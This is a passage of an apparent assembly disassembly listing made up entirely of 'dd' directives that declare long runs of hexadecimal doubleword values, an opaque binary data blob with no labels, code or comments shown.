		dd 0BAD0908Ch, 0DD4428E0h, 0F458C27Fh, 3C0A75B3h, 0E81EFE0Eh
		dd 0E06E7001h, 1187C4ACh, 702512D7h, 93CCBA04h,	15794200h
		dd 0F3325627h, 6D0C0E5Ch, 90D45260h, 401A7703h,	0BF8DDA5Bh
		dd 0D82BAA00h, 90B306Eh, 7BBFF3E2h, 244EEC00h, 0DF005A04h
		dd 0EB8DA731h, 0EA850Fh, 0ABA1B1DEh, 0C4C8FA50h, 0C1D6B61Dh
		dd 4B7D280h, 7D9099h, 79DF0234h, 0F6158C8Eh, 3FFD672Ch
		dd 3B4ECF00h, 5A1463Ch,	4C8B09DCh, 713FC082h, 2F000DCBh
		dd 0E6B6F712h
		dd 90B51AA1h, 0DA0200C4h, 96917169h, 0BC01EFE9h, 105A8957h
		dd 0C9C0041Dh, 4D0901CBh, 0EC78B60Eh, 0E5CE40BDh, 5214F314h
		dd 0B4D621h, 0F407C1B8h, 603327DCh, 509C2010h, 0B3602FBAh
		dd 170DBB68h, 0E0DB5BDFh, 4D123E34h, 9003227Eh,	0A0482CC9h
		dd 0B8927Bh, 0C702DC6Bh, 0F6FABE69h, 36F82D5Bh,	59D69300h
		dd 2BDF4C4h, 14586701h,	2C9C65BBh, 1CF5E4h, 8D69395Dh
		dd 5C163F28h, 0ED39100h, 6426EB1Dh, 0E2F60007h,	0CB674DD7h
		dd 0F500975Fh, 2F656EC2h, 0FBDC7h, 3034DF49h, 428BC595h
		dd 0B1BE7800h, 51C7CB8Ch, 0BD3530F5h, 0D9317610h, 38FD2D00h
		dd 4BAA649Fh, 0C2A318DDh, 98A120B9h, 0B8376000h, 9B1C0FFDh
		dd 82BB00EFh, 0E5EE6D2Ah, 83001BB3h, 0F64CB166h, 7AA6FC9h
		dd 0E0EBDB9Ch, 56E14043h, 2E3C9A1Ah, 0B0500097h, 0E7C48791h
		dd 14AF5839h, 4FFE6B00h, 6A1A79Bh, 9FE98600h, 0F42CC5B7h
		dd 311A007Ah, 0C41CBF27h, 6B14A929h, 0F8BBD4h, 0A520995Fh
		dd 571D04Bh, 0A796591Dh, 8A101E70h, 80D8209Eh, 287357AEh
		dd 720C5FC1h, 18C7F124h, 3F7C98h, 776AFE6Ch, 0B73D3E6Bh
		dd 0FD94E100h, 0AC9E279Fh, 98B0003Bh, 2A317407h, 0D9E6D40Ch
		dd 0D023BA00h, 15E4F24Fh, 0D7E606A7h, 58265360h, 4727B50Eh
		dd 0BCD2A02Fh, 0D480C3h, 20C91857h, 271B9C59h, 583329CAh
		dd 0C9B06307h, 0CB02DB70h, 70560FAFh, 0F9009F2Ah, 0F87630BEh
		dd 1A9A7100h, 0D85394C3h, 0B656038Ch, 26DF246Bh, 47B77290h
		dd 702B513Eh, 8A4EE100h, 0EFA7052Ch, 8EB5005Bh,	0DC1A3293h
		dd 1C000886h, 50E49BAEh, 317971h, 0E3D30EE5h, 0BB9B7DEh
		dd 0F4CCCD00h, 0E7AD6AF0h, 79E890F8h, 0F7E4005Ah, 435D0E98h
		dd 9600EEBDh, 3F68369h,	0FB79C2h, 3EEF8921h, 0FED860B2h
		dd 0A8353Fh, 4D453828h,	30222F5h, 789C5D26h, 12F8FB3Fh
		dd 0DE00ED9Eh, 0A5416DB4h, 5766ECh, 0EF55CF81h,	0E25CB6DDh
		dd 7F88FB00h, 69D8CA2Ah, 8D530037h, 546CEDCEh, 409A1BAh
		dd 0ECCF3h, 606F09D4h, 4CF71D2Ah, 36812A5h, 406A8D8Ah
		dd 647BD690h, 1397B112h, 0A00B684Fh, 0E0E9F391h, 8A090733h
		dd 0C0C10251h, 0FAD31FADh, 91DC23Ch, 135BAFBh, 0C5554BACh
		dd 7C70ECh, 5683C407h, 49F6257Eh, 0D996540Eh, 0C0443E71h
		dd 1D80B6E9h, 52210F64h, 0BA1FF8E0h, 0C19F4087h, 0E28D5B2Fh
		dd 2CA7FC12h, 0A3170C4Eh, 3E39211Ch, 1F63611h, 0C75A978Eh
		dd 86DBA726h, 14784B49h, 0E9ACF8C9h, 70A11995h,	0F793EC00h
		dd 0BD531CAh, 1DDF3F00h, 0A3735AB2h, 0A0B54D38h, 9C04B100h
		dd 0C2AC4163h, 0A07D4B24h, 8915D040h, 6CC3002Ah, 74779E70h
		dd 0F6008D87h, 2839BA2Ch, 0E42F50DAh, 18B51E69h, 0D45100E6h
		dd 88369EA0h, 2B76E173h, 3B911260h, 0A24CC9h, 4508596Ch
		dd 0E84443D2h, 508FF703h, 0E2D99FDh, 0F0BD1F9h,	3C3DD300h
		dd 0E9005DC7h, 20B826A5h, 7491F7FDh, 5E95104Fh,	0D79F15DEh
		dd 0EB900080h, 4B76620Ch, 0B67E0F42h, 3F2FED4h,	19E11710h
		dd 4E91D00Fh, 4E9DA31h,	8859DCA0h, 7B1BCC3h, 77ABE661h
		dd 17851E6h, 6E8D4B79h,	80BC4A48h, 4266AE30h, 0B7D443h
		dd 0C647EE53h, 0FEA00A2Ch, 0D128F930h, 6D865C5h, 97B9EC67h
		dd 4D006110h, 9AD3C4A8h, 39859DC9h, 5303F9ABh, 0AC99ADD4h
		dd 3B40BD92h, 0E9DE5121h, 85C7ECC0h, 0F58F4B4h,	0D5FCF667h
		dd 15A9C80h, 36B87028h,	0B2C81E07h, 4011643Bh, 71802E97h
		dd 0BA6CD67Ah, 0B1008711h, 0B943AF1Bh, 0E4D7082Fh, 29256097h
		dd 4FF812DBh, 0DD514B01h, 98F466FEh, 53611CCh, 641C9AA8h
		dd 54880241h, 2448CA38h, 0D102F42Fh, 450D6DA2h,	1AA8A3DDh
		dd 20E88801h, 1E1D5CBFh, 0E4212D0Ch, 2F3E69D1h,	0E150806Eh
		dd 8B4D869Ah, 0AD11071Ch, 10D32DD0h, 6BAB0ED7h,	3D8EC02h
		dd 0A7FB3912h, 6EA0C4DCh, 0FCB4AAh, 0CC0E11Ch, 0A97F5613h
		dd 0B7A17C1Dh, 50002812h, 2658890Bh, 0B1601DEEh, 0D4E476h
		dd 504756BAh, 0F9C41B97h, 80EBE06Dh, 9671C8D3h,	510DAC00h
		dd 4BB1A92Ah, 0BBF80CF5h, 1DF1B738h, 84948D07h,	0C2B08E4Eh
		dd 609619h, 65C1A4E9h, 57212951h, 0F6E8DF60h, 1F1BDB1Eh
		dd 1D2BFCh, 361A8681h, 58262491h, 2500AB12h, 0FC42BA74h
		dd 525E1B6Ah, 0FFC069B1h, 9400C198h, 8A5D5727h,	1E607696h
		dd 42DABC8Dh, 0D9F226B2h, 17F80C4h, 1BBAD20Ch, 30CC9024h
		dd 2F895DF8h, 2A000547h, 0A497B313h, 7FABB61Bh,	3A9F04D7h
		dd 80BE6078h, 39B52490h, 5D0B130Ch, 2989B0h, 0D4816EF7h
		dd 0B65F60E5h, 37CB19C0h, 40F50CFh, 394F249Dh, 85BB092Bh
		dd 0A00020B8h, 2788337Ch, 285499A7h, 92F43BC8h,	1432B8C8h
		dd 1C4448A1h, 0D44BF300h, 8CDE8D8Fh, 97B41521h,	5612D42Dh
		dd 3750181h, 4034B7F2h,	7D413F9Ch, 0BC605310h, 76E09C07h
		dd 0EDE7F051h, 0A000CD10h, 24896A8Ch, 62392B26h, 6037C1C4h
		dd 0E0ADE8C0h, 0B08DF535h, 8A089A05h, 0F9BA32C0h, 183E70C1h
		dd 0A1D5B328h, 0BCA1D467h, 888014D6h, 0B07B06Ch, 0D36AAE71h
		dd 394E381h, 382EFC54h,	47711F67h, 0D4C8B390h, 0E5C600E9h
		dd 9518707Fh, 1A00FD69h, 0C27BAFD8h, 309E1CA3h,	0BFD14F53h
		dd 3C00A272h, 0D020A54h, 36A7C68h, 442BC020h, 29005F91h
		dd 2C87D503h, 0D9224Dh,	0EEE3F4E0h, 0A5EB249Ah,	0A450510Ah
		dd 7080A426h, 193ED16Bh, 0F702002Dh, 0B41DB2F2h, 5504E0DFh
		dd 93A4FEB3h, 7358CCh, 88571116h, 383EDF1h, 0F7892003h
		dd 0C06BC4D5h, 14734525h, 0F0D0958Fh, 90CB0703h, 0F0EA0E26h
		dd 4963E200h, 1BB20F61h, 6F62FC3Ah, 8FC188A6h, 98236Ch
		dd 278F5178h, 1CF8A9FFh, 40CB61F2h, 0B96C23F7h,	1E39723Fh
		dd 3D1B80A6h, 0E991A985h, 39F83802h, 38B4E0AAh,	0F400F274h
		dd 5C8C7166h, 1F002293h, 0C2DF16CBh, 26D7F9F3h,	60005D44h
		dd 2EA3ACD1h, 390C4379h, 915C0DDDh, 97C700D6h, 0B49F0719h
		dd 280951BDh, 0F5A803A2h, 6A1CF700h, 230AFE2Ah,	1C213433h
		dd 3F4BD01h, 0BED84101h, 0A9F50064h, 873BC80Dh,	17264C84h
		dd 0BC6ED061h, 94F28F00h, 1E6912DFh, 264758DAh,	0EFF58078h
		dd 6176864Bh, 0D448C500h, 0D31C6D6Fh, 535D26C9h, 0DBF76018h
		dd 0FF78FD52h, 70446028h, 80980D58h, 6AF6275Ch,	3C330F4Fh
		dd 0BA0105DCh, 0E1898388h, 0B46C70FAh, 0AA1FADEEh, 4682E51Fh
		dd 403DDC5Bh, 4C769866h, 5580FC3Eh, 78C2EA53h, 934C5472h
		dd 89340420h, 0EC8CAEFDh, 0E2BD4084h, 25B3B00h,	0ACA28255h
		dd 6C050E33h, 0D7C3DBD0h, 81F8A960h, 2E05284Bh,	73A16768h
		dd 484998C2h, 9C1C70h, 0E82BFF60h, 6FEF6891h, 42089B00h
		dd 5CC274C1h, 600E3067h, 0D1F764E9h, 7C3DB600h,	22CCEA0Fh
		dd 382003F0h, 5F212780h, 3EB02900h, 0C3E5CD6Fh,	0BDE20BD1h
		dd 0BC188C36h, 2A00174Fh, 10749C63h, 12EE9575h,	2076A8h
		dd 0E5B060FCh, 0F17B9E61h, 0F4BA4CB8h, 5EE7C602h, 68E19FCFh
		dd 0DD8814h, 0DCBE9D13h, 65B0BA7Bh, 0C2C39400h,	5E5282FFh
		dd 0B591007Ch, 0CCEF8C50h, 0A89B7B4Bh, 0F62C2E01h, 74223CA0h
		dd 0CF92A60Eh, 0C547A4E0h, 3700BC70h, 0E56DF93Eh, 4DD00Dh
		dd 29EE48FBh, 1C9FD953h, 88E5091h, 7F7B205Ah, 7383E601h
		dd 583700EFh, 0CB753D81h, 0FC2EE144h, 0D040CCC3h, 94210F51h
		dd 0C704038h, 0F216DF05h, 0EC20F8CDh, 7A4352h, 0B4AB453Bh
		dd 1C3441ADh, 0E6B82712h
		dd 7885014h, 0B15E5839h, 9F7025F0h, 0DC0D52D4h,	89F69200h
		dd 0B786553Bh, 33C2A300h, 988CC803h, 0A209003Eh, 70760F4Fh
		dd 252596F3h, 398C24A5h, 666CA4h, 60898E47h, 7A3A78Ah
		dd 112327Ch, 84200E8Dh,	0FA38E9h, 52AE4FB8h, 0B4F171B9h
		dd 0A6CE5505h, 48072163h, 28E0A47Ch, 0D2C107h, 19383144h
		dd 1633C458h, 2707338h,	4BD43F5Ah, 26D89137h, 0FEDCF2F1h
		dd 48F5049Dh, 0CC89A1ADh, 0CE00E6A8h, 35EBD4F7h, 0E6885h
		dd 4EAF0B0Ah, 8E18077Dh, 0F000B97Ah, 0C7A583C3h, 0BDF7A68h
		dd 5E6070D7h, 0ADFC4490h, 0C6802096h, 74750C57h, 26A70941h
		dd 1864D7A5h, 9507ECBAh, 0A094BADAh, 8873EEF0h,	24F27Dh
		dd 29E7D99Ch, 3DDDB764h, 0E8C8F402h, 0C4927E14h, 0A6C300ACh
		dd 3750A1E3h, 0A3382F44h, 0F760379h, 3833A8FDh,	10DC5D89h
		dd 22736087h, 6469E6E0h, 28804896h, 6A3A7B01h, 45B2D016h
		dd 4C263BCCh, 7501EA2Ah, 37430511h, 131020A0h, 5F0DC711h
		dd 0C3000E3Bh, 68CDD5B2h, 0EB09E4C5h, 1092964Ch, 4CD2A404h
		dd 72007F57h, 0FAA9EC2Ch, 79F4CFAEh, 5EA2890Fh,	0BA504071h
		dd 715D390Ch, 0A16E0236h, 1E3FD0F4h, 61E860C3h,	30B829A6h
		dd 6D9A9D09h, 39C75EC7h, 830BC0DCh, 9098545Eh, 0D226C468h
		dd 274FE896h, 0EB6092C8h, 7436D50h, 8DC371ACh, 0B3EE50F4h
		dd 794AEFE1h, 0CEA2BC20h, 4F7EEBh, 1A0ED27Dh, 775AAEB6h
		dd 0BCA680F7h, 0F98D4B1Ch, 0AD7000CFh, 9971CC55h, 0B0C20D95h
		dd 62498681h, 9F017FFCh, 6239CB9Eh, 7E0E0020h, 0ECA8C0FAh
		dd 689D01A0h, 247A5486h, 0A488C4CEh, 27801C9Ch,	3308BACCh
		dd 0D5610039h, 0FDB19901h, 60209138h, 0EB7603BCh, 0F8DD500Eh
		dd 1794CAC8h, 0D7BB6C01h, 73723633h, 0E4818C30h, 609B35h
		dd 0AD2838D2h, 0DD06C59Eh, 17976F52h, 133A0179h, 0BC9038F4h
		dd 6749EC91h, 11A95207h, 0C6C108F8h, 0E08009D1h, 0BC854E98h
		dd 8E1D9F64h, 5455FE4h,	148892DCh, 3479006Eh, 3565E5BBh
		dd 0E401E281h, 0FAA85763h, 9829539Ch, 96DFFC07h, 0F23CD07Dh
		dd 97308804h, 6258911Fh, 7B40065h, 0C6746A91h, 7502C4B8h
		dd 2D8A3A26h, 0F05A21h,	32BAC573h, 5C82A972h, 1ECE2B05h
		dd 4809A626h, 48004939h, 199CFD8h, 6B835BD8h, 0E4A1AA46h
		dd 0B970FA78h, 9F364F02h, 60A929EDh, 650E4DFEh,	0C0E16972h
		dd 0B184700Bh, 0D1B43F00h, 6851220Bh, 1A81F9E3h, 4C28D61h
		dd 80F3405Fh, 541307CEh, 18204731h, 0E612D327h,	9D4C1662h
		dd 5026E0FEh, 0B113406h, 108C6EBh, 0C27BD4B3h, 32FFA30Ch
		dd 3140798h, 0A920B7A7h, 1F29360h, 8285F467h, 2D2136F3h
		dd 83080734h, 8F10B484h, 0CF8A98h, 4F517A77h, 16FC37FFh
		dd 0E440384Bh, 8633ED5Fh, 8DC900C1h, 94752E92h,	0C3013F5Ch
		dd 5B3A0EBAh, 2C706118h, 1BE90178h, 0FD7BAEDDh,	0B52C24ABh
		dd 0C825B702h, 445C6095h, 4BA34F78h, 9C001E90h,	0AE62BEB3h
		dd 6B8CF600h, 9BAB0FA1h, 78CA0083h, 7BC25CE4h, 55000D70h
		dd 85602BC3h, 545D5E67h, 8D9CB3h, 0F8E17627h, 7771BB96h
		dd 74B88504h, 7CC80E54h, 4847013Fh, 9749AAA0h, 39B430C2h
		dd 70CD6B02h, 595DB67Ch, 95F781ECh, 92272F4Eh, 94900DA9h
		dd 0CB5396h, 3BBC5CF5h,	2F8F07E3h, 2B233Eh, 95BAEF99h
		dd 5A9FC3Eh, 9CF7FD4Dh,	86F0203Ch, 0F800CAC5h, 41761DB4h
		dd 0C00B2183h, 0BA3D8F59h, 0C10789E1h, 4565F444h, 283B5050h
		dd 64740463h, 0C0543940h, 0CD4BA274h, 5134B204h, 0CE0C38Dh
		dd 0F7521EEEh, 0DF708020h, 0AD2C26Dh, 21476A18h, 0EE1F81h
		dd 0AD940E2Dh, 64B726Eh, 6A3F6674h, 7E0100AEh, 2DA1DCE3h
		dd 71D90F97h, 4F20C984h, 0AF9EA92Ah, 0B326EA17h, 1C513020h
		dd 5438E411h, 7919ECF8h, 4F84003Fh, 163E0DF7h, 1C158EACh
		dd 2B89E22h, 2DE9C8F9h,	0F688C4E3h, 0A80E1F2Ah,	49FDD8BBh
		dd 6679B381h, 0CC0C4000h, 0FF8ED63Eh, 9036130Dh, 53A84B07h
		dd 84AB6D00h, 0FB009F05h, 7A915DF0h, 4CD018B5h,	2DC03895h
		dd 0B0DCFAA0h, 0C9FD6203h, 0E8E26E8Bh, 0E8949B8h, 172F36CAh
		dd 816420E4h, 10B35404h, 120F4E86h, 20F8B978h, 4BB02100h
		dd 58FEF4Ch, 3E84ACB3h,	4CDE5C00h, 0EA4F412h, 0C26352DBh
		dd 107AEE67h, 152C956Dh, 74659D2Ah, 7F00AB7Ch, 314A61F6h
		dd 17A96EDh, 568B5BC5h,	97334F47h, 0E033BB29h, 0EEDC088h
		dd 0DF6E48E3h, 2EEE3100h, 804B83F8h, 0E6929715h, 58100D0h
		dd 0C5604615h, 0C3760084h, 7342242Fh, 6C921A97h, 98DA53Fh
		dd 1D291D0h, 2264E41Bh,	12CD1050h, 48677F51h, 1E02BC75h
		dd 0F8B257C8h, 8701F8C4h, 210DBC3Ah, 8470468Dh,	77A57328h
		dd 0E4933BBAh, 80DC997Bh, 32D1DB24h, 1AFC06F2h,	58601815h
		dd 24FC40D4h, 29C4801h,	0B628C276h, 2C0E4C60h, 0A849CCh
		dd 0C5A542A2h, 0C20E6E39h, 0F2B77570h, 60852400h, 9896E0E9h
		dd 70B134h, 70BBFD82h, 0CD0207E1h, 0D8A249Bh, 98984053h
		dd 9545009Eh, 0AFFD23ABh, 8896F010h, 0E286D5C0h, 0F75F00D4h
		dd 4CB778E7h, 0DCF407D3h, 6247090Fh, 0E801603Dh, 7D3506h
		dd 0C2742EB8h, 2B9CEEFEh, 6C39C30Bh, 82F49091h,	0FDE60297h
		dd 957A56Fh, 640E6440h,	272DF402h, 60390A70h, 89BC536Ch
		dd 5C781Bh, 0B9B41FA5h,	0FD507B8Dh, 4CDA420h, 520157E8h
		dd 91D08149h, 7CA0F3A1h, 8D0EAB65h, 0C03C50CCh,	898A5EF2h
		dd 5C68E960h, 8EC241C2h, 0CE663660h, 871B261Ah,	9E447179h
		dd 66F20BE1h, 89A6880h,	34002E93h, 4B64AA57h, 2613517Eh
		dd 40E8A452h, 1A50D3Dh,	854DE400h, 57DA9FC0h, 702601BDh
		dd 0B173913h, 0C2704154h, 0EE42DF8h, 0E0063458h, 0AEC43184h
		dd 37301D19h, 724B8964h, 80C5904Bh, 48A0B2A0h, 7D1F8601h
		dd 0C2FDBF69h, 9F15D022h, 2E01B8D8h, 0DA1A9CF1h, 0B439A3h
		dd 0B8F2E54Ch, 3FB1607Eh, 33DB978Ah, 0B4A06534h, 46244CFFh
		dd 53800485h, 0B037CA75h, 0A36D0741h, 0E01F1C52h, 0CCD9FD4Fh
		dd 5B2F430Fh, 2737809Bh, 52A51C1h, 0FD53C768h, 2018F4C3h
		dd 0D189BA17h, 3617C51Fh, 88DA9088h, 0A900A615h, 0F9F40B41h
		dd 15D3A4D6h, 988345F1h, 3BFA1F00h, 66F71EC5h, 0CAB64C00h
		dd 8C0638B7h, 387E4C6h,	0E829AC62h, 0EFA89236h,	0BA007421h
		dd 0CC309D98h, 6AA9EEh,	53B9B2BBh, 4EBF7566h, 0C0F8D958h
		dd 0F46C5C80h, 0A9B300FEh, 0DFD62F13h, 83EE3437h, 0A0560607h
		dd 1CC051FFh, 0A1029BAh, 0B6676080h, 569982E8h,	8EB34A8h
		dd 720DCE99h, 5FD02E90h, 3623B600h, 609FDE0Ah, 0D7D1F9E5h
		dd 0E71D7183h, 485181Eh, 0D0059CFFh, 9420F8CDh,	8079DAh
		dd 87C685BEh, 0BC8DCB5Bh, 0D5702800h, 38E278A1h, 0C389C02Ch
		dd 19796CFDh, 42499800h, 0AA9715DFh, 0C68012C2h, 0FC6C8830h
		dd 8840F000h, 0D4A94F15h, 0CFD20EA0h, 1262DA11h, 3C605DD9h
		dd 0E015001h, 4C35C35Eh, 18229DDFh, 0F536D600h,	0BAD96F3Dh
		dd 90C18D09h, 47A86838h, 0A7340089h, 0F2559FABh, 0DD00F5D9h
		dd 613891BEh, 0CBE0E6E1h, 90116FE8h, 0DF0440F1h, 98010F97h
		dd 8FF3E9D9h, 21E0B4B6h, 582095A5h, 8596EAB2h, 271BD801h
		dd 0A7FD13B8h, 0C7B5998Ch, 68996E48h, 55C40F80h, 0E1FF6h
		dd 0A549F0A3h, 7582C15Dh, 0FB526D01h, 0C2238351h, 0C3EE5A21h
		dd 9EAA8118h, 1EBE21D0h, 0C096C625h, 0EEB7F7B6h, 0FCB63E4Ah
		dd 0A1839580h, 48648929h
		dd 68180098h, 3D4B0850h, 4007FCB9h, 656BB405h, 0B0CD9898h
		dd 9B3EC811h, 0CEC20330h, 12041D96h, 21485B18h,	0FCB29084h
		dd 807D2E5Eh, 290047EEh, 0BD07F388h, 12B670FFh,	0A59FB71Fh
		dd 0D7ADD01Ch, 0E4003575h, 6121C1BFh, 0C38841C3h, 84B30BE8h
		dd 0CC14A4D4h, 9D261E01h, 0F9FF2BEEh, 7807D072h, 80627B7Dh
		dd 73CF9E97h, 3A02CAF0h, 2788B895h, 98E444DEh, 553D0F54h
		dd 0A786E7A0h, 0F894B986h, 2C800345h, 0AE79F8h,	70CE0D4Fh
		dd 34103C08h, 745C22F2h, 82C204E8h, 50B22C7Ah, 0B9C75607h
		dd 50A68768h, 4477F521h, 0CE2D1D16h, 47A95000h,	2A94BA65h
		dd 1CE91Ch, 93F1D27Ah, 5FCAFAD8h, 6AF2B01h, 0BE28ADDDh
		dd 482786DCh, 309614E0h, 32DE9D50h, 4CBEE700h, 34952374h
		dd 28C402D0h, 7B4A9453h, 18007112h, 573A0442h, 826DBA07h
		dd 96378DB1h, 0E47B9770h, 0C83100F5h, 0B5F3D080h, 0C50F4FA0h
		dd 0BCE286Bh, 57780272h, 689C897Eh, 0A0374B04h,	0F01C8034h
		dd 112A6039h, 0C6D6C27Bh, 0EED99D01h, 0A0BC5D78h, 9218860h
		dd 6A0D2C40h, 4ED27C60h, 0AFC73E28h, 0C10B9F00h, 6B905A93h
		dd 20C05C88h, 404C5D2Ch, 7F59A92Dh, 1D72D512h, 0B170E837h
		dd 0F89CF2FEh, 0CA430016h, 5D7750C4h, 0F63F78F4h, 71D48039h
		dd 0F7D18EC5h, 0A7281913h, 0ECBAC9D3h, 4B102772h, 3511248Dh
		dd 8CF64020h, 0DF26C80Ah, 85007CEFh, 0A70DBA13h, 18165C47h
		dd 62F45B04h, 0B4A0C480h, 510053F8h, 7C14870h, 78AB9104h
		dd 5CF17E44h, 50704825h, 3B0C0EBh, 7EF633C9h, 0DB86F39h
		dd 8C3C8B66h, 0EC082E1Ah, 1B278402h, 0BF40A2D6h, 0EE90DA92h
		dd 7A5D04FCh, 0E40E65CCh, 7F002828h, 0ECCD690Dh, 5B457161h
		dd 0E51061F7h, 0E446028h, 0C8F1F000h, 0E7C0BD71h, 412F254Ah
		dd 40B994C9h, 83B8703Ch, 0CA585F10h, 0F82EF000h, 0E0DC06B6h
		dd 4F221B04h, 84C8BA27h, 26F0F49Bh, 6388AEEh, 39BE3D41h
		dd 0D8F5FF07h, 0ED80022Fh, 98706492h, 5C4A12A8h, 0A240C7CCh
		dd 78E4970Eh, 0EA45DB00h, 33671C4Eh, 78C870FDh,	0EBBF00E9h
		dd 96017775h, 0DB008E4Fh, 0FC34C488h, 49F0406h,	2F4BDAEEh
		dd 798889D5h, 0C7AE0098h, 0C8AC44EAh, 0C1D30EE8h, 0AA40F743h
		dd 33B04A8Bh, 746B321Ch, 9C574F40h, 0F08A01BBh,	2E4B0961h
		dd 6C592989h, 0F540901Fh, 0F118E758h, 983909C1h, 78E69721h
		dd 44035C72h, 0C820C90Eh, 0F1E0CFF8h, 0EA7F5A09h, 583801A2h
		dd 8D029FA9h, 0D417E9E3h, 9C03C471h, 0CD6C20AFh, 0CF304C2Dh
		dd 3F917300h, 37BA7EC0h, 9F191F60h, 60CED9C4h, 98B21128h
		dd 0A306EEAFh, 8CB8C217h, 0D3B10019h, 0CFBC4C28h, 17EA17Dh
		dd 0D947F500h, 3BEDA63Dh, 0A88C0197h, 0B6BD4044h, 25388020h
		dd 0E3678975h, 327894h,	52CE3DD5h, 0B363C8AFh, 0B186A250h
		dd 47907060h, 7BFFE453h, 0C416384Fh, 0F0A9EDB7h, 1067C56Bh
		dd 7571C616h, 2AEBC202h, 9E50837Bh, 3453E8BFh, 590700BAh
		dd 0A666C35Ch, 0CF85087h, 7E11D300h, 0FF161741h, 89A505B6h
		dd 861FE50Ah, 571781F6h, 2800D1D4h, 0F01CBB79h,	6AA8076Fh
		dd 0ADEC227h, 43F600CCh, 517776CBh, 0C987850Fh,	0C4E000B0h
		dd 0E836AEh, 19944472h,	0B75F38B4h, 1FA1A762h, 0B683C043h
		dd 36A37074h, 4119CCB9h, 7B80F3EFh, 18C0F08Bh, 0B81B8345h
		dd 0C82F00BBh, 0F72C8614h, 0AE0E56BDh, 0F071E4Ch, 3FA2E76Bh
		dd 945EEEB5h, 0B27BEF00h, 79B981CFh, 3557301Ah,	0BD081688h
		dd 4E00A8A4h, 0FC805B89h, 3BC01E3Eh, 5180E09Dh,	7EDF9E68h
		dd 7430B347h, 0BAF1A0B7h, 0B06D145Dh, 0AA013437h, 1DB0490h
		dd 7B0020BEh, 84E9AE63h, 157590BBh, 8B470106h, 0ED71F943h
		dd 665E0722h, 59BC79h, 0CFA39D1Eh, 4374A5BAh, 412A88F4h
		dd 1C008CF4h, 656312AAh, 21D4A8h, 0ED223578h, 0C56A647Fh
		dd 30AD7400h, 2F78DB8h,	0A44A2AACh, 0D2C431E4h,	0D84B1EA9h
		dd 46501465h, 1000322Ch, 532177E2h, 6B9EAEh, 79DC0743h
		dd 73F1A238h, 3EAA4800h, 0A7322AE3h, 3B6E01C9h,	0B52E6D60h
		dd 0CBE84CBCh, 0B8DE1D31h, 35E0CCE8h, 0E73C00C1h, 79D94B54h
		dd 0A1091886h, 27B4D20Ch, 30804CDCh, 0E222A0Ah,	0FA96A311h
		dd 1732805Fh, 27740F12h, 425861C0h, 1D41CCBAh, 8071DBC8h
		dd 8EA693C7h, 0B5182A51h, 4E89E3A4h, 85DB007Ch,	9D4F11CBh
		dd 1C3EC736h, 0A7A202BEh, 0A01369DDh, 627CB52Ch, 43B803CEh
		dd 0F9460182h, 65784900h, 0E6A3A822h, 0D806506Dh, 71AF2496h
		dd 0D644C1D0h, 0ECB08155h, 239D4180h, 0A4E05ED9h, 873301BDh
		dd 563B7574h, 0FAB2CC2Fh, 0CE899B01h, 0D86D47C8h, 14EC87C0h
		dd 2C74B4FDh, 33C04E8Bh, 0BB0301EEh, 5440E45Dh,	1841B3B5h
		dd 319DD6A1h, 0E40049F7h, 8617BD90h, 58C82Bh, 51A34EDBh
		dd 32FB26A0h, 0C58E1502h, 4987418Bh, 0D0DF17F4h, 0AB7E0Ch
		dd 6B437A31h, 79404AF6h, 86D12C0Ch, 35D7D039h, 30F88380h
		dd 0E14EA580h, 22B8C310h, 0C1EE7Ch, 6DD7EFA1h, 0D9DD7BC7h
		dd 8A1A760h, 48AEE1D5h,	8878F4DBh, 2890225Bh, 1BBAF812h
		dd 63B4F420h, 0C439C9B0h, 0F59AB010h, 81ACC539h, 1D9150A7h
		dd 49805C46h, 0C9C24832h, 477B9AC6h, 2251A700h,	0EE631CD7h
		dd 2B98039Eh, 0B679B5CBh, 0E3ECC102h, 84E74FC4h, 0D342F7A8h
		dd 9B60FEC7h, 0C50F0F01h, 0F2FD2Fh, 0EBFC6D43h,	16A27074h
		dd 34B9DBDCh, 226C8718h, 0A72126CEh, 6C17693h, 0A08020h
		dd 0E7AEDC9Dh, 867F2EB9h, 4844D801h, 0E947453h,	24345020h
		dd 0E005F7h, 0E4A3E670h, 0D51E9E89h, 69301EB0h,	0C20753Ah
		dd 8B0A1A4Eh, 3D313F40h, 0D23990AAh, 56008462h,	9A91FDCEh
		dd 4F0B7782h, 4E3C231h,	0CC80C586h, 7FF7A6h, 0B56D66C7h
		dd 24694D7Bh, 0FAD4D509h, 9168225Ch, 81CC80A6h,	0CC1F5BFh
		dd 247B3496h, 5B09DBE1h, 20E457D4h, 87AAF3F9h, 0BE1612B4h
		dd 980C10BBh, 80779F14h, 0E457E81Dh, 0CA2E08D0h, 6FF22999h
		dd 0BD68F0E3h, 0F8A354D6h, 8674B6h, 8F3B2214h, 0B75E76C1h
		dd 25125B7Ch, 902077B4h, 3D6E3C3h, 0B3451562h, 1914A835h
		dd 80CC52BAh, 0D656B4DDh, 0C1AE3C7Ah, 24B2C000h, 0BB23A388h
		dd 293BF030h, 3F684EC5h, 8E804159h, 49B76E1Dh, 0B01870A9h
		dd 0B651D825h, 1214912Fh, 8CF81451h, 0C446EF01h, 24577729h
		dd 1C285D64h, 0E600D01Eh, 0C445DE04h, 0FF9A04Eh, 931F58F7h
		dd 0EC3BB003h, 164F5901h, 0B55EF57Fh, 60D5C6C8h, 21ED30F6h
		dd 6B0E53D8h, 44286CDDh, 0A888D6D7h, 58EEF8F2h,	0AF22F861h
		dd 8F3FDF79h, 1E3D8049h, 0A8259B0Ch, 10C00014h,	40CABD64h
		dd 220A4B48h, 94F0BCAEh, 79275740h, 0C0BB58B7h,	0C0051494h
		dd 88894152h, 0AF299D1Ch, 0C100C00Bh, 3E7A6FEDh, 37C917Bh
		dd 2B590865h, 34CE7FA0h, 1F06C58h, 7C749561h, 0CFE0164Ch
		dd 0BFE90EA4h, 0B062D360h, 8490E08Ch, 48010CA7h, 553F365Eh
		dd 5980237Bh, 2B3B6580h, 3700C60Fh, 83B9B0CBh, 4C0DA0DBh
		dd 0C43E5063h, 26853639h, 80CDCEF3h, 0CFA74D84h, 0BAB5F916h
		dd 33B00C21h, 4626C1BCh, 8D226020h, 57004087h, 33D1EF9h
		dd 17AB052h, 0C1A9D2F6h, 502E1DB4h, 0EAE6BD18h,	42AABA00h
		dd 0A40A5B0Bh, 82751CC3h, 1544A1Bh, 74BD01DEh, 348A7BD4h
		dd 0EA072B6Ch, 385ADC1Dh, 23BE1390h, 99040041h,	6CC10B06h
		dd 0A1C0ACD9h, 78C9D116h, 0F742002Dh, 487C87E8h, 9900D6E9h
		dd 82E3F2C8h, 74162Ch
